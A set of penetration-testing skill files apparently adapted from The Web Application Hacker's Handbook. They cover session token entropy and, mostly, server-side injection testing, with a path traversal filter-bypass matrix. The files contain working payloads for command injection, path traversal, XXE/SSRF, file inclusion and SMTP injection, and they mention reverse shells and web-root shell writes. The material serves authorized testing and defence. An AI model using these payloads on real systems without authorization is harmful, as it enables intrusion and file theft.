6. Examine logout response: server issues `Set-Cookie: sessionId=; expires=Thu, 01 Jan 1970 00:00:00 GMT` — a client-side cookie deletion only. No server-side invalidation call occurs.
Output: High H4 finding. Remediation: implement server-side session invalidation on logout; store session state on server with explicit invalidation on logout request.
---
**Scenario: Internal application — Burp Sequencer entropy assessment**
Trigger: "Custom session token generation was built in-house using Java. Assess token quality."
Process:
1. Identify the login POST endpoint as the token issuance point. Send to Burp Sequencer, configure for the `sessionId` cookie.
2. Collect 100 tokens: preliminary analysis shows effective entropy ~32 bits. Several FIPS tests fail at low bit positions.
3. Collect 500 tokens: entropy estimate stabilizes at 28 bits. FIPS monobit and runs tests fail at positions 0–6.
4. Source code review (available): `String sessId = Integer.toString(s_SessionIndex++) + "-" + System.currentTimeMillis();` — a sequential counter concatenated with epoch milliseconds. The counter is the primary failure cause; milliseconds provide only limited additional entropy during busy periods.
5. Confirmed: time-dependent sequential generation with low effective entropy. G2 and G4 findings.
Output: Critical G2 (time dependency + sequential counter) and Critical G4 (28-bit effective entropy) findings. Remediation: replace with `java.security.SecureRandom` generating 128-bit random tokens; store all session data in a server-side session store keyed by this token.
## References
- For token generation countermeasure implementation details, see [references/securing-session-management.md](references/securing-session-management.md)
- For cookie attribute reference and browser behavior matrix, see [references/cookie-security-attributes.md](references/cookie-security-attributes.md)
- OWASP Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- CWE-330: Use of Insufficiently Random Values; CWE-384: Session Fixation; CWE-352: Cross-Site Request Forgery
- Source: *The Web Application Hacker's Handbook*, 2nd ed., Stuttard & Pinto, Chapter 7, pp. 205–255
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Web Application Hackers Handbook by Unknown.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Test web application back-end components for non-SQL server-side injection vulnerabilities. Use this skill when: testing for OS command injection via shell m...
---
name: server-side-injection-testing
description: |
Test web application back-end components for non-SQL server-side injection vulnerabilities. Use this skill when: testing for OS command injection via shell metacharacters (pipe, ampersand, semicolon, backtick) or dynamic execution functions (eval/exec/Execute); detecting blind command injection using time-delay technique (ping -i 30 loopback) when output is not reflected; probing for path traversal vulnerabilities including filter bypass via URL encoding, double encoding, 16-bit Unicode, overlong UTF-8, null byte injection, or non-recursive strip bypass; testing for Local File Inclusion or Remote File Inclusion; identifying XML External Entity (XXE) injection for local file read or Server-Side Request Forgery (SSRF); detecting SOAP injection via XML metacharacter probing; testing for HTTP Parameter Injection (HPI) and HTTP Parameter Pollution (HPP) in back-end HTTP requests; identifying SMTP injection through email header manipulation or SMTP command injection in mail submission forms. Covers detection procedures, filter bypass techniques, exploitation impact, and prevention countermeasures. Maps to CWE-78 (OS Command Injection), CWE-22 (Path Traversal), CWE-98 (File Inclusion), CWE-611 (XXE), CWE-91 (XML Injection), CWE-88 (Argument Injection), CWE-93 (SMTP Injection). For authorized security testing, security code review, and defensive hardening contexts.
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/server-side-injection-testing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [10]
pages: "357-402"
tags: [command-injection, path-traversal, file-inclusion, lfi, rfi, xxe, xml-injection, soap-injection, http-parameter-injection, hpp, smtp-injection, server-side-injection, penetration-testing, appsec, owasp, cwe-78, cwe-22, cwe-611, cwe-91, cwe-93]
execution:
tier: 2
mode: hybrid
inputs:
- type: codebase
description: "Application source code — server-side handlers, file access APIs, XML parsing, mail functions, HTTP client calls — primary for white-box mode"
- type: document
description: "HTTP traffic captures, Burp Suite session logs, security reports — primary for black-box mode"
tools-required: [Read, Grep, Write]
tools-optional: [Bash, WebFetch]
mcps-required: []
environment: "Run inside a project codebase for white-box code review, or with HTTP traffic logs for black-box assessment. Authorized testing context required."
discovery:
goal: "Identify all exploitable non-SQL server-side injection vulnerabilities across OS command injection, path traversal, file inclusion, XXE, SOAP injection, HTTP parameter injection, and SMTP injection; produce a structured findings report with severity, evidence, and countermeasures"
tasks:
- "Map all attack surface points: file access parameters, OS command invocations, XML input, SOAP endpoints, back-end HTTP proxying, mail submission forms"
- "Test each vulnerability class systematically using the detection procedures below"
- "Apply filter bypass techniques when initial traversal or injection is blocked"
- "Document findings with CWE mapping, severity, evidence, and countermeasures"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, web proxies (Burp Suite or equivalent), shell metacharacters, and basic XML"
triggers:
- "Penetration test of a web application with file upload/download, admin command interfaces, or mail forms"
- "Security code review targeting server-side input handling"
- "Assessment of API endpoints that accept filenames, XML bodies, or proxied URLs"
- "Post-incident analysis of a server compromise or SSRF event"
not_for:
- "SQL injection — use a dedicated SQL injection assessment skill"
- "Client-side injection (XSS, HTML injection) — different attack surface"
- "Authentication or session management testing — separate skill scope"
---
# Server-Side Injection Testing
## When to Use
You have authorized access to a web application and need to test its back-end components for injection vulnerabilities that do not involve SQL databases.
This skill applies when:
- A penetration test or code review targets functionality that passes user input to OS commands, filesystem APIs, XML parsers, SOAP services, back-end HTTP requests, or mail servers
- Parameters in URLs, POST bodies, or cookies contain filenames, directory names, hostnames, or structured data (XML, SOAP) that is processed server-side
- You observe file retrieval behavior (`?file=`, `?template=`, `?include=`), admin functionality, or feedback/contact forms
- You need to bypass input validation filters protecting file path operations
**The foundational insight:** Web applications act as intermediaries between users and a variety of powerful back-end components. Each component speaks a different language with different metacharacters and escape semantics. Data that is safe in HTTP can be dangerous when interpreted by a shell, an XML parser, a filesystem API, or an SMTP server. An attacker who controls what these components receive can often go far beyond what the application intended — reading arbitrary files, executing arbitrary commands, or pivoting to internal network services.
**Authorized testing only.** This skill is for security professionals with explicit written authorization to test the target application.
---
## Context and Input Gathering
### Required Context
- **Testing mode (black-box vs white-box):**
Why: white-box testing enables direct identification of dangerous API calls (`exec`, `include`, `mail()`), dynamic execution patterns, and XML parsing configuration; black-box testing relies on behavioral probing only.
- If missing, ask: "Do you have access to the application's source code, or is this a black-box behavioral test?"
- **Application technologies:**
Why: shell metacharacters differ between Unix and Windows; PHP `include()` enables Remote File Inclusion while ASP `Server.Execute` supports only Local File Inclusion; dynamic execution (`eval`) behavior is language-specific.
- Check for: `package.json`, `requirements.txt`, `pom.xml`, framework config files, server banners
- **Scope of testable parameters:**
Why: any parameter — query string, POST body, cookie, HTTP header — may be passed to a back-end component. Incomplete scope means missed findings.
- If missing, assume all parameters in all requests are in scope
### Observable Context (gather from environment)
- File access patterns: parameters named `file`, `filename`, `path`, `template`, `include`, `page`, `lang`, `country`
- OS command invocations: source code calls to `exec`, `shell_exec`, `system`, `popen`, `Process.Start`, `wscript.shell`, `Runtime.exec`
- XML input: `Content-Type: text/xml` or `application/xml` in requests, AJAX endpoints processing XML bodies
- Mail forms: feedback, contact, report-a-problem forms with email address and subject fields
- Back-end HTTP proxying: parameters containing hostnames, IP addresses, or full URLs
---
## Process
### Step 1: Map the Attack Surface
**ACTION:** Enumerate all parameters and input channels across every application function, looking for the following high-value targets: (a) parameters that appear to specify files or directories; (b) admin interfaces for server management (disk usage, process listing, network diagnostics); (c) XML-based endpoints (AJAX, REST with XML bodies, SOAP services); (d) feedback or contact forms; (e) parameters that appear in back-end HTTP requests (look for `loc=`, `url=`, `host=` parameters).
**WHY:** Server-side injection vulnerabilities do not cluster in predictable locations. OS command injection is common in admin interfaces. Path traversal appears wherever file retrieval occurs. SMTP injection only exists in mail submission functions. A systematic surface map prevents missing entire vulnerability classes. Any parameter in any request — including cookies — may be passed to a vulnerable back-end component.
**AGENT: EXECUTES** — Grep source code for dangerous API calls and file access patterns; catalog parameters from HTTP traffic.
```
# White-box: grep for dangerous calls
exec|shell_exec|system|popen|passthru|eval|include\(|require\(
Process\.Start|wscript\.shell|Runtime\.exec
mail\(|smtp|sendmail
file_get_contents|fopen|readfile|include_path
XmlDocument|DocumentBuilder|SAXParser|XMLReader
```
---
### Step 2: Test for OS Command Injection
**ACTION:** For each parameter likely involved in OS command execution, submit the following all-purpose time-delay probe. Monitor response time — a ~30-second delay indicates successful injection:
```
|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
```
If the application may be filtering specific separators, also submit each of these individually and monitor timing:
```
| ping -i 30 127.0.0.1 |
| ping -n 30 127.0.0.1 |
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
; ping 127.0.0.1 ;
%0a ping -i 30 127.0.0.1 %0a
` ping 127.0.0.1 `
```
**WHY:** Time-delay inference is the most reliable blind detection technique. When injected commands produce no output visible in the response — because results are discarded, because output is batched, or because the injection runs in a separate process — timing is the only reliable signal. The ping command is the canonical probe because it produces a predictable, controllable delay on both Unix (`-i` interval) and Windows (`-n` count). Testing multiple separators maximizes detection probability when the application filters some.
**IF** time delay is confirmed → repeat test 2-3 times varying `-n`/`-i` values to rule out network latency anomalies.
**IF** timing is confirmed → attempt retrieval of output by:
1. Injecting a command that writes to the web root: `dir > C:\inetpub\wwwroot\foo.txt` or `ls > /var/www/html/foo.txt`
2. Using out-of-band exfiltration: TFTP to retrieve tools, netcat reverse shell, `mail` command to send output via SMTP
3. Determining privilege level: inject `whoami` or `id` and exfiltrate result
**IF** full command injection is blocked → test for parameter injection: insert a space followed by a new command-line flag (e.g., if the app calls `wget [url]`, try appending `-O /path/to/webroot/shell.asp`). Also test whether `<` and `>` are allowed for file redirection.
---
### Step 3: Test for Dynamic Execution Injection
**ACTION:** For any parameter that may be passed to `eval()`, `Execute()`, or similar dynamic execution functions, submit these detection probes as each targeted parameter value:
```
;echo%20111111
echo%20111111
response.write%20111111
;response.write%20111111
```
**WHY:** Dynamic execution vulnerabilities arise when user input is incorporated into code strings executed at runtime by `eval` (PHP, Perl), `Execute()` (classic ASP), or similar constructs. These differ from shell injection — the injected code is interpreted by the scripting engine, not a shell, so different metacharacters apply. The semicolon terminates the preceding statement and begins a new one. If `111111` appears in the response without the rest of the submitted command string, the input is being executed as code.
**IF** `111111` is returned alone → the application is vulnerable to scripting command injection. Confirm with a time-delay: submit `system('ping%20127.0.0.1')` (PHP) or equivalent.
**IF** PHP is suspected → also try `phpinfo()` to obtain configuration details.
---
### Step 4: Test for Path Traversal
**ACTION:** For each parameter that specifies a filename or directory:
**Step 4a — Detect traversal handling.** Modify the parameter to insert a subdirectory and a single traversal sequence that returns to the same location. If the application uses `file=foo/file1.txt`, submit `file=foo/bar/../file1.txt`. If both return identical behavior, the application is likely processing traversal sequences without blocking them — proceed to Step 4b.
**Step 4b — Traverse above the start directory.** Submit a long traversal sequence targeting a known world-readable file:
```
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../windows/win.ini
```
Use many sequences — the starting directory may be deep in the filesystem; redundant `../` sequences are harmless once the root is reached. Try both forward slashes and backslashes.
**WHY:** Path traversal vulnerabilities occur when user-controlled data is incorporated into filesystem API calls without proper canonicalization and validation. The `../` sequence (dot-dot-slash) instructs the filesystem to move up one directory. An application that constructs a path as `C:\filestore\` + user_input and opens the result will read any file accessible to the web server process if the user_input contains `..\..\windows\win.ini`. The consequences range from sensitive file disclosure (credentials, source code, configuration) to arbitrary file write (which can lead to code execution).
**Step 4c — Bypass filters.** If naive traversal is blocked, see [path-traversal-bypass-matrix.md](references/path-traversal-bypass-matrix.md) for the full bypass sequence. Key techniques:
- URL encoding: `%2e%2e%2f` (dot-dot-slash), `%2e%2e%5c` (dot-dot-backslash)
- Double URL encoding: `%252e%252e%252f`
- 16-bit Unicode: `%u002e%u002e%u2215`
- Overlong UTF-8: `%c0%ae%c0%ae%c0%af`
- Non-recursive strip bypass: `....//` or `....\/` (inner `../` is stripped, leaving `../`)
- Null byte injection: `../../../../etc/passwd%00.jpg` (truncates file type suffix check)
- Prefix bypass: `filestore/../../../../../etc/passwd` (satisfies starts-with check)
**Step 4d — Test write access.** If the parameter is used for file writing, test with a pair: one file that should be writable (`../../../tmp/writetest.txt`) and one that should not (`../../../windows/system32/config/sam`). Different behavior between the two confirms a write traversal vulnerability.
**WHY write access matters:** An attacker with write traversal can create scripts in users' startup folders, modify `in.ftpd` to execute commands on connect, or write scripts to a web-accessible directory for immediate execution via browser request.
---
### Step 5: Test for File Inclusion (Local and Remote)
**ACTION — Remote File Inclusion (RFI):** Submit a URL pointing to a server you control as the value of any parameter likely used in an `include()` or `require()` call. Monitor your server for an incoming HTTP request.
```
?page=http://your-server.com/probe
?Country=http://your-server.com/probe
```
If no connection arrives, submit a URL pointing to a nonexistent IP address and observe whether the application hangs (connection timeout indicates the server attempted to fetch the URL).
**WHY:** PHP `include()` and `require()` accept remote URLs by default unless `allow_url_include` is disabled. An attacker who can control the included URL can host a malicious PHP script on a server they control and have the vulnerable application execute it. The script runs with full server-side privileges.
**ACTION — Local File Inclusion (LFI):** Submit the name of a known server-side executable or static resource that the application is unlikely to expose via a direct URL.
1. Submit the name of a known executable resource (e.g., `/admin/config.php`) and observe whether the application's behavior changes.
2. Submit the name of a known static resource and check whether its contents appear in the response.
3. If LFI is confirmed, combine with path traversal techniques (Step 4c) to access files outside the application directory.
**WHY:** Local File Inclusion allows an attacker to cause sensitive server-side files to be executed or their contents disclosed within application responses. Files protected by application-level access controls (e.g., `/admin/`) may be accessible via LFI even when direct HTTP access is blocked, because the include mechanism bypasses the web server's access control layer.
---
### Step 6: Test for XML External Entity (XXE) Injection
**ACTION:** Identify any endpoint that accepts XML input (look for `Content-Type: text/xml` or XML-formatted request bodies). Modify the request to add a DOCTYPE declaration defining an external entity that references a local file:
```xml
POST /search/ajaxsearch HTTP/1.1
Content-Type: text/xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>
```
Observe whether the response contains the contents of `/etc/passwd` (Unix) or `C:\windows\win.ini` (Windows) in place of the entity reference.
**WHY:** Standard XML parsing libraries support external entity resolution by default. When the application reflects any portion of the XML data in its response, entity content is substituted inline before the response is generated. An attacker who can define `SYSTEM "file:///etc/passwd"` as an entity and reference it in an echoed element receives the file contents in the response. This bypasses all application-level access control because the XML parser, not the application, fetches the file.
**IF** file contents are returned → the application is vulnerable to XXE-based local file read. Escalate by:
- Targeting sensitive files: `/etc/shadow`, application config files containing database credentials, source code files
- Using `http://` protocol instead of `file://` to perform SSRF — cause the server to make HTTP requests to internal network addresses not accessible from the Internet:
```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:25" > ]>
```
**WHY SSRF matters:** Internal services (admin panels, databases, payment processors) often lack authentication because they are assumed to be unreachable from the Internet. An XXE-based SSRF condition allows the attacker to use the application server as a proxy into the internal network, scanning ports, retrieving service banners, and potentially exploiting vulnerabilities in internal services.
**IF** the entity is fetched but not reflected → test for Denial of Service using an indefinitely blocking resource:
```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///dev/random" > ]>
```
---
### Step 7: Test for SOAP Injection
**ACTION:** For each parameter that may be incorporated into a SOAP message:
1. Submit a rogue XML closing tag: `</foo>`. If the application returns an error, the input is likely being inserted into XML.
2. Submit a balanced tag pair: `<foo></foo>`. If the error disappears, injection into a SOAP message is likely.
3. Submit `test<foo/>` and `test<foo></foo>` in turn. If either is returned in the response normalized as the other (or as just `test`), input is being inserted into XML-based messaging.
4. If the request has multiple parameters, insert the XML opening comment `<!--` into one and the closing comment `-->` into another, then swap them. This can comment out portions of the server's SOAP message, potentially altering application logic.
**WHY:** SOAP messages use XML metacharacters (`<`, `>`, `/`) as structural delimiters. Unsanitized user input inserted directly into a SOAP message allows an attacker to add new XML elements, modify element values, or inject XML comments that suppress original elements. In the example of a funds transfer, injecting `<ClearedFunds>True</ClearedFunds>` before the server-generated `<ClearedFunds>False</ClearedFunds>` element may cause the back-end processor to read the attacker's value first and authorize the transfer.
**IF** SOAP structure is confirmed → look for error messages that disclose the full message structure. Use this to craft targeted injections that modify business logic elements (authorization flags, amounts, account identifiers).
---
### Step 8: Test for HTTP Parameter Injection and HTTP Parameter Pollution
**ACTION — HTTP Parameter Injection (HPI):** For each parameter that may be forwarded to a back-end HTTP request, attempt to inject additional parameters by appending URL-encoded parameter syntax:
```
%26foo%3dbar — URL-encoded: &foo=bar
%3bfoo%3dbar — URL-encoded: ;foo=bar
%2526foo%253dbar — Double URL-encoded: &foo=bar
```
Observe whether the application's behavior changes in a way that indicates the injected parameter is being processed by the back-end server (e.g., bypassing a validation check, triggering a different response).
**WHY:** When the front-end application copies user-supplied parameters into back-end HTTP requests without sanitizing URL metacharacters, an attacker can inject additional parameters. If the back-end service processes an injected parameter that overrides a security-critical flag (such as `clearedfunds=true` in a bank transfer), the attacker can bypass business logic controls that exist only in the front-end layer.
**ACTION — HTTP Parameter Pollution (HPP):** Determine how the target server handles duplicate parameter names. Submit the same parameter multiple times with different values, both before and after other parameters, and in query strings, cookies, and POST bodies. The server's behavior (using first value, last value, or concatenated value) determines where the attacker must place injected parameters.
**WHY:** When an attacker injects a parameter that already exists in the back-end request (creating a duplicate), HPP determines whether the injected value or the original value takes effect. Understanding the server's duplicate-parameter behavior is required to position the injection correctly.
---
### Step 9: Test for SMTP Injection
**ACTION:** Identify all application functions that send email (contact forms, feedback forms, account notifications). For each field you can supply (From address, Subject, message body), submit these test strings with your own email address substituted at the relevant positions:
```
<youremail>%0aCc:<youremail>
<youremail>%0d%0aCc:<youremail>
<youremail>%0aBcc:<youremail>
<youremail>%0d%0aBcc:<youremail>
%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
```
Monitor the email address you specified — if any mail is received, the application is vulnerable. Also monitor for error messages that indicate the application is performing SMTP operations.
**WHY:** Applications that pass user-supplied input directly into SMTP conversations or mail() function parameters allow an attacker to inject additional email headers (Cc, Bcc, To) by inserting newline characters (`%0a` = LF, `%0d%0a` = CRLF). The SMTP protocol treats each line as a separate command or header. An attacker can cause the mail server to send messages to arbitrary recipients — enabling spam campaigns using the application's mail server, or sending phishing messages that appear to originate from the legitimate application domain.
**IF** header injection is confirmed → escalate to SMTP command injection: inject a complete new SMTP transaction by appending `DATA`, `MAIL FROM`, `RCPT TO`, and message body commands after the data terminator (a line containing only `.`). This produces entirely attacker-controlled messages originating from the server.
**NOTE:** Mail-related functions frequently invoke OS commands (sendmail, mail binaries). Also probe all mail-related parameters for OS command injection (Step 2) in addition to SMTP injection.
---
### Step 10: Document Findings and Map Countermeasures
**ACTION:** For each confirmed vulnerability, write a finding with: vulnerability class, CWE identifier, severity, evidence (request/response or code snippet), and countermeasure.
**WHY:** Findings without countermeasures are incomplete — they identify the problem without enabling the fix. Specific, actionable remediation aligned to the vulnerability mechanism enables developers to address root causes rather than applying superficial patches.
**Severity guidance:**
- **Critical:** OS command injection with confirmed code execution, RFI with confirmed remote code execution, write path traversal to web root
- **High:** Read path traversal (arbitrary file read), XXE with confirmed file read or SSRF, blind OS command injection
- **Medium:** SOAP injection affecting business logic, LFI, HPI/HPP bypassing validation, SMTP injection
- **Low:** Unconfirmed indicators, partial filter bypasses without confirmed impact
**Countermeasures by class:**
| Vulnerability | Primary Countermeasure |
|---|---|
| OS Command Injection | Avoid OS commands entirely; use built-in APIs. If unavoidable: allowlist input to alphanumeric only; use APIs that pass arguments separately (not shell strings) |
| Dynamic Execution Injection | Never pass user input to `eval()`/`Execute()`. Use allowlist validation if unavoidable |
| Path Traversal | Avoid passing user data to filesystem APIs. If required: decode and canonicalize input, check for traversal sequences, verify resolved path starts with expected base directory using `getCanonicalPath()` (Java) or `GetFullPath()` (.NET); use chroot environment |
| File Inclusion | Disable `allow_url_include` in PHP. Use a hardcoded map from identifiers to file paths; never pass user input directly to include/require |
| XXE | Disable external entity processing in the XML parser; use a local schema for validation |
| SOAP Injection | HTML-encode XML metacharacters (`<` → `<`, `>` → `>`, `/` → `/`) in all user input before insertion into SOAP messages |
| HPI / HPP | Validate and sanitize parameters before forwarding to back-end requests; do not pass user input as raw parameter values into back-end URLs |
| SMTP Injection | Validate email addresses with a strict regular expression (rejecting newlines); strip newlines from Subject fields; disallow lines containing only `.` in message bodies |
---
## Inputs
- Target application URL(s) and any known parameter inventory
- HTTP proxy session / Burp Suite project file (black-box mode)
- Application source code — server-side handlers, file access, XML parsing, mail functions (white-box mode)
- Test account or anonymous access to exercise all application functions
- Scope confirmation from the authorizing party
## Outputs
**Server-Side Injection Assessment Report** containing:
```
# Server-Side Injection Assessment — [Application Name]
Date: [date]
Assessor: [name/team]
Mode: [black-box | white-box | hybrid]
## Executive Summary
[2-3 sentences: overall posture, highest severity finding, priority recommendation]
## Findings
### [FINDING-001] [Vulnerability Class] — [Parameter/Endpoint]
- CWE: CWE-XX
- Severity: [Critical | High | Medium | Low]
- Endpoint: [URL + parameter name]
- Evidence: [request/response excerpt or code snippet]
- Countermeasure: [specific remediation]
## Attack Surface Coverage
[Table: Class | Parameters Tested | Findings Count]
```
---
## Key Principles
- **The back-end component defines the attack surface — not the front-end validation.** A filter that strips `../` from URL parameters provides no protection if the filesystem API receives the unfiltered value from another source. Testing must target the component's input, not just the HTTP layer.
- **Time-delay inference is the most reliable blind detection technique.** When injected commands produce no visible output, timing is the only reliable signal. A 30-second delay from a ping command eliminates most false positives. Varying the delay duration (changing `-n`/`-i`) and repeating the test rules out network anomalies.
- **Filter bypass requires systematic escalation.** Applications that implement path traversal defenses often block naive `../` but fail against encoded variants. Work through encoding levels in order: plain → URL-encoded → double-encoded → Unicode → overlong UTF-8. Test non-recursive stripping separately. Combine traversal bypasses with file-type suffix bypasses when both filters are present.
- **XML parsers resolve external entities by default — this is the root cause of XXE.** XXE is not a coding mistake in the application layer; it is a misconfiguration of the XML parsing library. The fix is at the parser configuration level (disabling external entity resolution), not input validation.
- **SMTP injection targets the newline.** The SMTP protocol delimits commands and headers with newline characters. A single unvalidated newline in a From address or Subject field is sufficient to inject additional headers, additional recipients, or entirely new SMTP transactions.
- **Mail submission functions are consistently undertested.** Because they are peripheral to core application functionality, they receive less security scrutiny and are often implemented via direct OS command calls rather than mail APIs. Test mail functions for both SMTP injection and OS command injection.
---
## Examples
**Scenario: Penetration test of a web-based server administration panel**
Trigger: "We need a pentest of our admin portal before we open it to remote access. It includes disk usage reporting and file browsing."
Process:
1. Step 1: Map attack surface — identify `?dir=` parameter in disk usage function and `?filename=` parameter in file browser.
2. Step 2 (OS command injection): Submit `|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &` as `dir` value. Response takes 30 seconds — confirmed blind command injection (CWE-78, Critical). Confirm by varying delay to 10 seconds — response time changes proportionally.
3. Step 4 (path traversal): Submit `../../../../../../../../etc/passwd` as `filename` value — server returns `/etc/passwd` contents (CWE-22, High). Filter bypass not required.
4. Step 2 exfiltration: Inject `id > /var/www/html/tmp/out.txt` — retrieve `out.txt` via browser — confirms execution as `www-data`.
Output: 2 findings (Critical OS command injection, High path traversal). Countermeasures: replace shell call with `du` Python library; canonicalize filename parameter and verify it starts with expected base path.
---
**Scenario: Security code review of a PHP e-commerce application**
Trigger: "Review our codebase before the launch. We're concerned about injection risks in the file handling and the contact form."
Process:
1. Step 1: Grep for `include(`, `eval(`, `mail(`, `exec(`, `file_get_contents(` — finds `include($_GET['page'] . '.php')` in `main.php` and `mail($to, $subject, $message, "From: " . $_POST['email'])` in `contact.php`.
2. Step 5 (RFI): `include()` with user-supplied `page` parameter — no `allow_url_include` check. RFI confirmed in code (CWE-98, Critical). LFI also confirmed — path traversal bypass allows access to `../config/database.php`.
3. Step 6 (XXE): XML endpoint found using `SimpleXMLElement` — no `LIBXML_NOENT` flag disabling entity expansion. XXE confirmed in code (CWE-611, High).
4. Step 9 (SMTP injection): `mail()` `additional_headers` parameter built from `$_POST['email']` without newline stripping — email header injection confirmed (CWE-93, Medium).
Output: 4 findings (Critical RFI, High LFI+XXE, Medium SMTP injection). Countermeasures: disable `allow_url_include`, replace `include($page)` with allowlist map, configure XML parser with `LIBXML_NOENT`, validate email address against RFC5322 regex rejecting newlines.
---
**Scenario: Black-box assessment of an enterprise application with XML-based AJAX search**
Trigger: "Our AJAX search endpoint processes XML — can you check it for injection issues?"
Process:
1. Step 1: Intercept AJAX search request — `Content-Type: text/xml`, body `<Search><SearchTerm>test</SearchTerm></Search>`. Response echoes search term in XML result.
2. Step 6 (XXE): Inject DOCTYPE with external entity referencing `file:///etc/passwd` into SearchTerm element. Response contains `/etc/passwd` contents inline in `<SearchResult>` — confirmed XXE (CWE-611, Critical).
3. SSRF escalation: Replace `file://` with `http://10.0.0.1:8080/` — response contains internal admin panel HTML — confirmed SSRF reaching internal network (High, escalated to Critical combined finding).
4. Step 7 (SOAP injection): Separate endpoint — submit `</foo>` in each parameter — error indicates XML context. Submit `<foo></foo>` — error disappears. Inject `<ClearedFunds>True</ClearedFunds>` via Amount parameter — confirms SOAP injection (CWE-91, High).
Output: 2 findings (Critical XXE+SSRF, High SOAP injection). Countermeasures: configure XML parser to disable external entity resolution; HTML-encode all user input before SOAP message construction.
---
## References
- Bypass technique details: [path-traversal-bypass-matrix.md](references/path-traversal-bypass-matrix.md)
- Countermeasure implementation: [server-side-injection-countermeasures.md](references/server-side-injection-countermeasures.md)
- CWE and OWASP mapping: [injection-cwe-owasp-mapping.md](references/injection-cwe-owasp-mapping.md)
- Source: Stuttard, D. & Pinto, M. (2011). *The Web Application Hacker's Handbook* (2nd ed.), Chapter 10: "Attacking Back-End Components," pp. 357-402. Wiley.
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/path-traversal-bypass-matrix.md
# Path Traversal Filter Bypass Matrix
Reference for Step 4c of the server-side-injection-testing skill. Work through these in order. When initial traversal sequences are blocked, apply each bypass technique systematically. Combine traversal bypasses with file-type suffix bypasses when both types of filters are present.
## Baseline Sequences (Try First)
Always try both forward slash and backslash variants — many filters check only one:
```
../../../etc/passwd (Unix forward slash)
..\..\..\windows\win.ini (Windows backslash)
```
Use many repetitions — redundant sequences that exceed the filesystem root are silently ignored:
```
../../../../../../../../../../../../etc/passwd
```
---
## Bypass Techniques
### 1. URL Encoding
Encode every dot and slash in the traversal sequence:
| Character | Encoding |
|-----------|----------|
| `.` (dot) | `%2e` |
| `/` (forward slash) | `%2f` |
| `\` (backslash) | `%5c` |
Example: `%2e%2e%2f%2e%2e%2fetc%2fpasswd`
### 2. Double URL Encoding
Apply URL encoding a second time (encode the `%` sign):
| Character | Double Encoding |
|-----------|----------------|
| `.` (dot) | `%252e` |
| `/` (forward slash) | `%252f` |
| `\` (backslash) | `%255c` |
Example: `%252e%252e%252f%252e%252e%252fetc%252fpasswd`
### 3. 16-bit Unicode Encoding
| Character | Unicode Encoding |
|-----------|-----------------|
| `.` (dot) | `%u002e` |
| `/` (forward slash) | `%u2215` |
| `\` (backslash) | `%u2216` |
Example: `%u002e%u002e%u2215etc%u2215passwd`
Note: Illegal Unicode payload types (non-standard representations) are accepted by many Windows Unicode decoders. Use Burp Intruder's illegal Unicode payload type to generate large numbers of alternate representations.
### 4. Overlong UTF-8 Encoding
Multi-byte UTF-8 sequences that encode single-byte ASCII characters. Violate Unicode specification but accepted by many decoders, especially on Windows:
| Character | Overlong Encodings |
|-----------|-------------------|
| `.` (dot) | `%c0%2e`, `%e0%40%ae`, `%c0%ae` |
| `/` (forward slash) | `%c0%af`, `%e0%80%af`, `%c0%2f` |
| `\` (backslash) | `%c0%5c`, `%c0%80%5c` |
Example: `%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afpasswd`
### 5. Non-Recursive Stripping Bypass
When the application strips `../` but does not repeat the stripping until no more sequences remain, embedding one sequence inside another defeats the filter:
```
....// (strips ../ from middle, leaves ../)
....\/
..././
....\/
....\\
```
Example: `....//....//....//etc/passwd` → after stripping inner `../`: `../../../etc/passwd`
### 6. Null Byte Injection (File Type Suffix Bypass)
When the application checks that the filename ends with an expected extension (e.g., `.jpg`), place a URL-encoded null byte before the suffix:
```
../../../../etc/passwd%00.jpg
../../../../boot.ini%00.jpg
```
**Why it works:** The file type check is performed in a managed environment where strings may contain null bytes (e.g., Java's `String.endsWith()` is null-byte tolerant). The actual file open call uses a C-based unmanaged API that is null-terminated — the string is truncated at `%00`, and the null byte and everything after it are ignored.
### 7. Required Prefix Bypass
When the application checks that the filename *starts with* an expected directory or prefix:
```
filestore/../../../../../etc/passwd
images/../../../../../etc/passwd
```
The check passes because the input starts with the expected prefix. The filesystem canonicalizes the path, canceling the prefix with the traversal sequences.
---
## Combination Strategy
When individual techniques fail, combine traversal bypasses with suffix bypasses:
```
%252e%252e%252f%252e%252e%252fetc%252fpasswd%2500.jpg
....//....//....//etc/passwd%00.jpg
```
Work in stages in whitebox access scenarios:
1. Establish which traversal encoding reaches the filesystem (by monitoring filesystem calls)
2. Establish which suffix filter applies
3. Combine both bypasses
---
